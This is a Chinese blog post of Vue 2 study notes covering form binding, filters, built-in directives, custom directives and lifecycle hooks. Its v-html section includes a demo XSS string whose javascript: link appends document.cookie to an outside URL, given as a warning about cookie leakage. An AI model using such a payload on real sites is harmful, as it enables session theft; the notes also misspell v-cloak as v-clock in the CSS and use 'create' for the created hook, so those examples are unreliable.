Vue 学习总结笔记 (四)

admin • 2022-01-31 08:38 • 5G

1. 使用Vue 写一个表单数据

在这提一句，在定义的checkbox中有一个属性为：checked，勾选了为true，没有勾选为false。

需要记住的几点：

1.@submit表单form一旦提交就会触发demo中的内容 ,提交后页面内容会自动跳转消失,这里我们可以用prevent来解决
2.label的for可以与input的id进行关联，点击账号就可以切换到input光标上面。
3.trim可以去除多余的空格，但是字符串中间的空格是无法去除的。
4.这里我们可以直接将input的type定义为number，达到输入数字的效果。在Vue提供给的v-model.number，在data中直接写成数字形式。
5.input设置为radio和name来设置单选和关联内容,注意v-model绑定的是value值，这里设置的是radio没有输入框，因此定义value值来传给data
6.这里如果我们不定义value属性,这里默认是得到的checked值,此外data中的hobby值必须是数组,不能定义字符串!!
7.我们在这定义v-model.lazy可以一口气输入完成内容，失去光标后，直接提交给data，而不是时时刻刻提交
8.这里的checkbox与上面不同,直接接受checked的值true或者false就可以了

上面内容配合下面源码定义：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <!-- @submit表单form一旦提交就会触发demo中的内容 ,提交后页面内容会自动跳转消失,这里我们可以用prevent来解决-->
        <form @submit.prevent="demo">
            <!-- label的for可以与input的id进行关联，点击账号就可以切换到input光标上面。 -->
            <!-- trim可以去除多余的空格，但是字符串中间的空格是无法去除的。 -->
            <label for="demo">账号：</label><input type="text" id="demo" v-model.trim="userInfo.account"><br>
            <label for="demo2">密码：</label><input type="password" id="demo2" v-model="userInfo.password"><br>
            <!-- 这里我们可以直接将input的type定义为number，达到输入数字的效果。 -->
            <!-- 在Vue提供给的v-model.number，在data中直接写成数字形式。 -->
            年龄：<input type="number" v-model.number="userInfo.age">
            <br>
            性别：
            <!-- input设置为radio和name来设置单选和关联内容 -->
            <!-- 注意v-model绑定的是value值，这里设置的是radio没有输入框，因此定义value值来传给data -->
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
            <br>
            爱好：
            <!-- 这里如果我们不定义value属性,这里默认是得到的checked值,此外data中的hobby值必须是数组,不能定义字符串!!-->
            学习<input type="checkbox" v-model="userInfo.hobby" value="学习">
            打篮球<input type="checkbox" v-model="userInfo.hobby" value="打篮球">
            打台球<input type="checkbox" v-model="userInfo.hobby" value="打台球">
            <br>
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择小区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shengzheng">深圳</option>
                <option value="guangdong">广东</option>
            </select>
            <br>
            其他信息：
            <!-- 我们在这定义v-model.lazy可以一口气输入完成内容，失去光标后，直接提交给data，而不是时时刻刻提交 -->
            <textarea v-model.lazy="userInfo.others"></textarea>
            <br>
            <!-- 这里的checkbox与上面不同,直接接受checked的值true或者false就可以了 -->
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a> 
            <button>提交</button>
        </form>
    </div>
    <script>
        Vue.config.productionTip = false;
        const vm = new Vue({
            el:"#root",
            data:{
                userInfo:{
                    account:"",
                    password:"",
                    age:"",
                    sex:"",
                    hobby:[],
                    city:"beijing", //定义默认的话,可以直接写value的值.
                    others:"",
                    agree:""
                }
            },
            methods: {
                demo(){
                    alert("数据已经提交");
                    console.log(JSON.stringify(this.userInfo));

                }
            },
        });
    </script>
</body>
</html>

2. Vue 过滤器

2.1 moment.js 和 day.js 的库

了解，一个专门处理日期的库，叫做moment.js。这个库对日期的操作很全面，但是体积很大。

还有一个轻量级的库叫做day.js。

day.js的使用：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script src="./js/vue.js"></script>
		<script type="text/javascript" src="./js/dayjs.min.js"></script>
	</head>
	<body>
		
		<div id="root">
			<h2>显示格式化后的事件</h2>
			<h3>time时间戳转换后的是:{{fmtTime}}</h3>
			<h3>当前时间为:{{nowTime}}</h3>
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					//通过Date.now()方法获取到的时间戳。
					time:1642820009181,
				},
				computed:{
					fmtTime(){
						//这里就是调用了day.js库中的dayjs方法。
						//dayjs方法有个format函数来定义日期的格式化的。
						return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
					},
					nowTime(){
						//也可以自己定义样式。
						return dayjs().format("YYYY年MM月DD日 HH时mm分ss秒");
					}
				}
			})
		</script>
		
	</body>
</html>

2.2 Vue的过滤器的使用

" | " ,这个符号叫做管道符。

过滤器的实现过程：

配置单个对象内部过滤器，也就是局部过滤器：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script src="./js/vue.js"></script>
		<script type="text/javascript" src="./js/dayjs.min.js"></script>
	</head>
	<body>
		
		<div id="root">
			
			<!-- 过滤器实现,就是通过 " | " 管道符实现的。 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			
			<!-- 过滤器是可以传参数的,第一个参数永远都是管道符前面对应的值，之后就对应我们传的参数。 -->
			<h3>现在是：{{time | timeFormater('YYYY年MM月DD日')}}</h3>
			
			<!-- 
				多个过滤器，就是一层一层来，time先传给timeformater。
				timeformater再传给mySlice，依次类推。
			-->
			<h3>现在是：{{time | timeFormater('YYYY年MM月DD日') | mySlice}}</h3>
			
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					//通过Date.now()方法获取到的时间戳。
					time:1642820009181,
				},
				//在vue实例对象本身，创建的过滤器叫做局部过滤器。
				//过滤器是通过filters，在里面定义函数的。
				filters:{
					
					//这里的value值，就是前面插值语法中，管道符前面的time。
					timeFormater(value,str="YYYY年MM月DD日 HH时mm分ss秒"){
						console.log("拿到的值：",value);
						return dayjs(value).format(str);
					},
					mySlice(value){
						return value.slice(0,4);
					}
				}
			})
		</script>
		
	</body>
</html>

还有一个全局过滤器，全局过滤器呢，就是所有的Vue实例对象或组件都可以使用。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script src="./js/vue.js"></script>
		<script type="text/javascript" src="./js/dayjs.min.js"></script>
	</head>
	<body>
		
		<div id="root">
			<!-- 过滤器实现,就是通过 " | " 管道符实现的。 -->
			<h3>现在是：{{time | timeFormater}}</h3>
			<!-- 过滤器是可以传参数的,第一个参数永远都是管道符前面对应的值，之后就对应我们传的参数。 -->
			<h3>现在是：{{time | timeFormater('YYYY年MM月DD日')}}</h3>
		</div>
		
		<div id="root2">
			<h2>{{msg}}</h2>
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip = false;
			
			//配置全局的过滤器：
			Vue.filter("timeFormater",function(value,str="YYYY年MM月DD日 HH时mm分ss秒"){
				console.log("拿到的值：",value);
				return dayjs(value).format(str);
			})
			
			const vm = new Vue({
				el:"#root",
				data:{
					//通过Date.now()方法获取到的时间戳。
					time:1642820009181,
				}
			});
			
			const vm2 = new Vue({
				el:"#root2",
				data:{
					msg:"hello ，world"
				}
			})
		</script>
		
	</body>
</html>

注意：有一个误区，并不是过滤器只能用到插值语法中，Vue指令属性有的也可以使用，例如: v-bind；当然也有一些不能使用过滤器，例如:v-model。使用的状况也是一样。只不过很少在指令属性中使用而已。

总结：

3. v-text 指令

v-text属性会替换掉原先的文本内容，并且不会解析标签完完全全当成文本解析。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		
		<div id="root">
			<div>{{name}}</div>
			<!-- 这样页面显示的就是name的值了 -->
			<div v-text="name">本来的内容</div>
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip = false;
			new Vue({
				el:'#root',
				data:{
					name:'张三'
				}
			})
		</script>
	</body>
</html>

4. v-html 指令 (谨慎使用！！！)

4.1 cookie 工作原理

关于cookie，在登录时，服务器会向浏览器发送cookies，作为判断标识。

我们可以使用Cookie.Editor插件来将cookie导入或者导出。此插件需要去谷歌商店去下载。

我们在浏览器控制台使用：document.cookie，来查看网页目前的cookie。

4.２ v-html 指令

javascript:表示后面添加js代码。

我通过添加ducument.cookie，转给别的网站这样别人的网站就拿到了你的cookie，就可以用你的cookie进行一个登录等操作了！

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		
		<div id="root">
			<div v-html="str1">本来的内容</div>
			<div v-html="str2">本来的内容</div>
		</div>
		
		<script type="text/javascript">
			Vue.config.productionTip = false;
			new Vue({
				el:'#root',
				data:{
					str1:'<h1>可以添加html内容</h1>',
					//这里的javascript:表示后面添加js代码。
					//这里我通过添加ducument.cookie，转给别的网站这样别人的网站就拿到了你的cookie，就可以用你的cookie进行一个登录等操作了！
					str2:"<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>测试</a>",
				}
			})
		</script>
	</body>
</html>

通过上面的效果，可以知道v-html是不能随便定义的，因为它是在网站上进行动态渲染的！这样如果我们使用上面演示的效果，就导致了cookie的泄露。

这种效果，就叫做XSS攻击，XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。

5. v-clock 指令

v-clock指令配合CSS可以解决js阻塞问题。

v-cloak属性，一旦被Vue实例对象接管，该属性会被自动删除。

通过这些机制，我们就可以通过属性选择器，来解决js发生阻塞停止了几秒，这时页面也不会显示出未完成的代码块。

总体上，当你的网速过慢时，v-clock指令不会让还没有解析的代码，跑到页面上去。

源码：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
		<style type="text/css">
			[v-clock]{
				display: none;
			}
		</style>
	</head>
	<body>
		
		<div id="root">
			<p v-cloak>{{name}}</p>
		</div>
		
		<!-- 
			这里我们假设加载js内容太多，从而发生了js阻塞现象，这样开始的页面就是没有被Vue解析的页面。
			因此我们使用css属性选择器和v-cloak来解决这种问题。 
		-->
		
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			
			new Vue({
				el:"#root",
				data:{
					name:"张三"
				}
			})
			
		</script>
	</body>
</html>

6. v-once 指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
		<style type="text/css">
			[v-clock]{
				display: none;
			}
		</style>
	</head>
	<body>
		
		<div id="root">
			<!-- 第一次动态渲染后，就不不会变化了！ -->
			<h2 v-once>初始化值：{{n}}</h2>
			<h2>当前n的值为:{{n}}</h2>
			<button type="button" @click="n++">点我n加1</button>
		</div>
		
		<!-- 
			这里我们假设加载js内容太多，从而发生了js阻塞现象，这样开始的页面就是没有被Vue解析的页面。
			因此我们使用css属性选择器和v-cloak来解决这种问题。 
		-->
		
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			
			new Vue({
				el:"#root",
				data:{
					n:1
				}
			})
			
		</script>
	</body>
</html>

7. v-pre 指令

v-pre指令是一个提高Vue编译速度的指令，有一些代码压根就没有应用到Vue中，我们就可以给他设置v-pre指令，Vue解析时直接跳过，节约时间。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
		<style type="text/css">
			[v-clock]{
				display: none;
			}
		</style>
	</head>
	<body>
		
		<div id="root">
			<h2 v-pre>这里写了一大堆，没有用到vue的内容，使用v-pre跳过vue的编译。</h2>
			<h2 v-once>初始化值：{{n}}</h2>
			<h2>当前n的值为:{{n}}</h2>
			<h2 v-pre>这里又写了一堆，没有用到vue的内容，使用v-pre跳过vue的编译。</h2>
		</div>
				
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					n:1
				}
			})
			
		</script>
	</body>
</html>

8. Vue的自定义指令

8.1 设置自定义指令的两种方式

Vue的自定义指令实际上就是我们通过自己设置dom元素来创建我们自己的Vue指令。

自定义指令的写法有两种如下: (假设我们写一个v-big的指令)

方式一，函数式：(简便一些，但是不能处理细节问题)
	big:function(){
		
	}
方式二，对象式：(能够处理一些细节问题。)
	big:{
		key:vale,
		key:vale
		...
		key:vale
	}

8.2 自定义指令的 element参数和 binding参数

自定义指令，directives就有指令的意思。必须理解好element和binding的结构内容。

自定义指令的 element参数：

element就是我们标记的dom标签元素本身，这里我们可以判别element是否为真实DOM。

因为Vue有一个虚拟DOM，所以判断是否为虚拟DOM还是真实DOM，就可以通过下面两种方式来判别：

方式一：console.dir()来打印元素属性，真实DOM包含很多元素属性。
通过使用console.dir()来打印出它的元素内容是否包含真实dom的属性。
在控制台中显示指定JavaScript对象的属性，并通过类似文件树样式的交互列表显示。
方式二：instanceof HTMLElement 来判别返回true就是真实DOM

自定义指令的 binding参数：

演示函数式写法：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		
		<div id="root">
			<h2>当前n的值为: <span v-text="n"></span></h2>
			<h2>放大10倍后的n的值为: <span v-big="n"></span></h2>
		</div>
				
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					n:1
				},
				directives:{
					big(element,binding){
						console.log(binding);
						//因此，通过上面的理解这里的element就是我们要操作的dom元素，可以直接调用一系列的dom元素的属性方法。
						element.innerHTML = binding.value * 10;
					}
				}
			})
			
		</script>
	</body>
</html>

自定义指令什么时候会被调用？
1.指令与元素成功绑定时(一上来)。2. 指令所在的模板重新解析时，打个比方:如果我们在上面定义了name,我们修改name，照样会引起big的调用。

8.3 自定义指令对象式

自定义指令Vue函数式一个小问题：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		
		<div id="root">
			<input type="text" v-fbind:value="n" />
		</div>
				
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					n:1
				},
				directives:{
					fbind(element,binding){
						
						//input比较特殊直接value属性赋值就行。
						element.value = binding.value;
						
						/*
							element.focus()函数,当前元素element获取焦点。
							但是，这里刚刚刷新页面的时候，我们运行的时候看起来没运行没获取焦点，实际上已经运行了，原因是一个顺序问题！
							换句话说，是先执行的这行代码，再将模板放到页面。但是，如果后来又刷新了模板页面，就会有获取焦点的效果了。
							因为此时页面已经有了dom元素了。
						*/
						element.focus();
						
					}
				}
			})
			
		</script>
	</body>
</html>

对于上面的问题我们就要用对象式来操作了：

对象式，要理解好三个函数：

bind(element,binding){}函数：指令与元素成功绑定时(就是第一次加载页面绑定指令的时候)使用bind函数。
inserted(element,binding){}函数：指令所在元素被插入页面时，使用inserted函数。
update(element,binding){}函数：指令所在的模板被重新解析时，使用update()函数。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		
		<div id="root">
			<input type="text" v-fbind:value="n" />
			<button type="button" @click="n++">n+1</button>
		</div>
				
		<script type="text/javascript">
		
			Vue.config.productionTip = false;
			new Vue({
				el:"#root",
				data:{
					n:1
				},
				directives:{
					fbind:{
						//这三个函数名字不能随便改！
						
						//指令与元素成功绑定时(就是第一次加载页面绑定指令的时候)使用bind函数。
						bind(element,binding){
							console.log("bind函数调用了");
							element.value = binding.value;
						},
						//指令所在元素被插入页面时，使用inserted函数。
						inserted(element,binding){
							console.log("inserted函数调用了");
							element.focus();
						},
						//指令所在的模板被重新解析时，使用update()函数。
						update(element,binding){
							console.log("update函数被调用了");
							element.value = binding.value;
							element.focus();
						}
					}
				}
			})
			
		</script>
	</body>
</html>

Vue自定义指令对于多个单词要使用" - "来连接：

对于自定义指令directives这里有一个非常注意的点，在它里面定义的this指向的是Window全局，而不是Vue实例对象。

8.4 全局自定义指令

9. Vue的生命周期

9.1 Vue的生命周期介绍

Vue绑定css属性的小注意事项：

setInterval() 方法重复调用一个函数或执行一个代码段，在每次调用之间具有固定的时间延迟。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 :style="{opacity}">hello , world</h2>
		</div>
		<script type="text/javascript">
			Vue.config.productionTip = false;
			const vm = new Vue({
				el:"#root",
				data:{
					opacity:1
				},
				//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted方法。
				mounted(){
					console.log("调用了mounted");
					setInterval(()=>{
						this.opacity -= 0.01;
						if(this.opacity <=0) this.opacity = 1;
					},16);
				}
			})
			
			//像这种我们想要放到Vue实例对象中，就可以使用Vue生命周期的mounted。
			// setInterval(()=>{
			// 	vm.opacity -= 0.01;
			// 	if(vm.opacity <=0) vm.opacity = 1;
			// },16);
		</script>
	</body>
</html>

Vue的生命周期又名：生命周期回调函数，生命周期函数，生命周期钩子。

9.2 Vue生命周期的整体流程

整体流程如下：

9.3 模板编译的流程

9.4 Vue中的template 和 template标签

Vue中的template注意事项：

template需要注意的是不能包含两个根元素节点，h2和button就不能同时存在。
template写的内容会替换掉页面指向的内容。如下：

Vue中的template，设置template标签情况：
template标签可以用，但是要注意下面的情况！！

9.5 Vue的生命周期更新流程

updated更新过程：

9.6 Vue的生命周期销毁流程

vm.$destroy()作用：

完全销毁一个实例，清理它与其它实例的连接，解绑它的全部指令及事件监听器(这里的事件是自定义事件，原生的DOM不会改变)。

多数场景不应该调用这个方法，这个方法属于Vue实例对象自我解决(自杀)的效果。

9.7 Vue 整个生命周期的使用

生命周期就是在不同的阶段执行不同的方法。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			hello,world
		</div>
		<script type="text/javascript">
			Vue.config.productionTip = false;
			const vm = new Vue({
				el:"#root",
				template:`
					<div>
						<h2>当前n的值为:{{n}}</h2>
						<button @click="add">点我n+1</button> 
						<button @click="bye">点我销毁</button>
					</div>
				`,
				data:{
					n:1
				},
				methods:{
					add(){
						console.log("调用add方法");
						this.n++;
					},
					bye(){
						console.log("Vue对象已经销毁了");
						this.$destroy();
					}
				},
				
				//beforeCreate：已经有了Vue实例对象，但还没有导入data，methods等方法数据,因此什么n啊，_data等这些数据都没有。
				beforeCreate(){
					console.log("beforeCreate方法被调用");
					console.log(this);
					//debugger作用就是调式程序，设置断点。
					debugger;
				},
				
				//在beforeCreate和created中间有一个初始化数据监测和数据代理。
				
				//在这就可以看到数据监测和数据代理，已经完成了，因此哪些data数据，methods方法都可以访问得到。
				create(){
					console.log("create方法被调用");
					console.log(this);
					debugger;
				},
				
				// 判断时否有el，判断是否存在模板，解析模板
				
				//beforMount,到这步Vue其实已经解析(Compile编译)完毕了,但还没有来得及放在页面上。
				//这里需要注意无论在这怎样操作DOM元素，最终输出结果时，都是不会奏效的。因为在接下来替换el时，直接将解析好的模板替换了。
				beforeMount(){
					console.log("beforeMount方法被调用");
					console.log(this);
					debugger;
				},
				
				//Create vm.$el and replace "el" with it 这个步骤将虚拟DOM，转为真实DOM插入页面
				
				mounted(){
					console.log("mounted方法被调用");
					console.log(this);
					debugger;
				},
				
				
				//beforeUpdate此时的数据已经更新了，但是页面还没有更新。往后要有一个新虚拟DOM和旧虚拟DOM的比较
				beforeUpdate(){
					console.log("beforeUpdate方法被调用");
					console.log(this);
					debugger;
				},
				
				updated(){
					console.log("updated方法被调用");
					console.log(this);
					debugger;
				},
				
				beforeDestroy(){
					console.log("beforeDestroy被调用");
					console.log(this);
					debugger;
				},
				
				destroyed(){
					console.log("destroyed方法被调用");
					console.log(this);
					debugger;
				}
			})
			
		</script>
	</body>
</html>

9.8 在beforeDestroy函数方法中，消除计时器等操作

计时器是全局的，并不是伴随Vue对象实例产生或者销毁。

因此，我们可以在beforeDestroy函数中，进行清除。

如果我们用$destroy来毁灭Vue实例对象，计时器它是不会被消除的，这个时候我们既要保证毁灭了Vue实例对象，又要保证计时器停止运作。

一般我们销毁实例对象后，关闭那些相关的进程，如计时器interval，我们可以再beforeDestroy中给他们定义关闭。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <h2 :style="{opacity}" >欢迎学习Vue</h2>
        <button @click="stop">点我停止变换</button>
        <button @click="opacity=1">透明度设置为1</button>
    </div>
    <script>
        Vue.config.productionTip = false;

        const vm = new Vue({
            el:"#root",
            data:{
                opacity:0.5
            },
            methods: {
                stop(){
                    // clearInterval(this.timer);
                    // console.log(this);
                    this.$destroy();
                }
            },
            mounted() {
                console.log("mounted被调用了");
                this.timer = setInterval(()=>{
                    console.log("计时器再运行");
                    vm.opacity -= 0.01;
                    if(vm.opacity <= 0){
                        vm.opacity = 1;
                    }
                },16);
            },
            beforeDestroy() {
                console.log("我们可以再beforeDestroy内来关闭计时器");
                clearInterval(this.timer);
            },
        });
    </script>
</body>
</html>

本图文内容来源于网友网络收集整理提供，作为学习参考使用，版权属于原作者。

THE END

javascript js vue vue.js 前端

二维码

Linux常用指令合集

< <上一篇

TCP/IP协议族

下一篇>>

搜索内容

Vue 学习总结笔记 (四)

文章目录

1. 使用Vue 写一个表单数据

2. Vue 过滤器

2.1 moment.js 和 day.js 的库

2.2 Vue的过滤器的使用

3. v-text 指令

4. v-html 指令 (谨慎使用！！！)

4.1 cookie 工作原理

4.２ v-html 指令

5. v-clock 指令

6. v-once 指令

7. v-pre 指令

8. Vue的自定义指令

8.1 设置自定义指令的两种方式

8.2 自定义指令的 element参数和 binding参数

8.3 自定义指令对象式

8.4 全局自定义指令

9. Vue的生命周期

9.1 Vue的生命周期介绍

9.2 Vue生命周期的整体流程

9.3 模板编译的流程

9.4 Vue中的template 和 template标签

9.5 Vue的生命周期更新流程

9.6 Vue的生命周期销毁流程

9.7 Vue 整个生命周期的使用

9.8 在beforeDestroy函数方法中，消除计时器等操作

最新文章

分类

标签云

Vue 学习总结笔记 (四)

文章目录

1. 使用Vue 写一个表单数据

2. Vue 过滤器

2.1 moment.js 和 day.js 的库

2.2 Vue的 过滤器的使用

3. v-text 指令

4. v-html 指令 (谨慎使用！！！)

4.1 cookie 工作原理

4.２ v-html 指令

5. v-clock 指令

6. v-once 指令

7. v-pre 指令

8. Vue的 自定义指令

8.1 设置自定义指令的 两种方式

8.2 自定义指令的 element参数 和 binding参数

8.3 自定义指令 对象式

8.4 全局自定义指令

9. Vue的 生命周期

9.1 Vue的生命周期 介绍

9.2 Vue生命周期的 整体流程

9.3 模板编译的流程

9.4 Vue中的template 和 template标签

9.5 Vue的生命周期 更新流程

9.6 Vue的生命周期 销毁流程

9.7 Vue 整个生命周期的使用

9.8 在beforeDestroy函数方法中，消除计时器等操作

最新文章

分类

标签云

2.2 Vue的过滤器的使用

8. Vue的自定义指令

8.1 设置自定义指令的两种方式

8.2 自定义指令的 element参数和 binding参数

8.3 自定义指令对象式

9. Vue的生命周期

9.1 Vue的生命周期介绍

9.2 Vue生命周期的整体流程

9.5 Vue的生命周期更新流程

9.6 Vue的生命周期销毁流程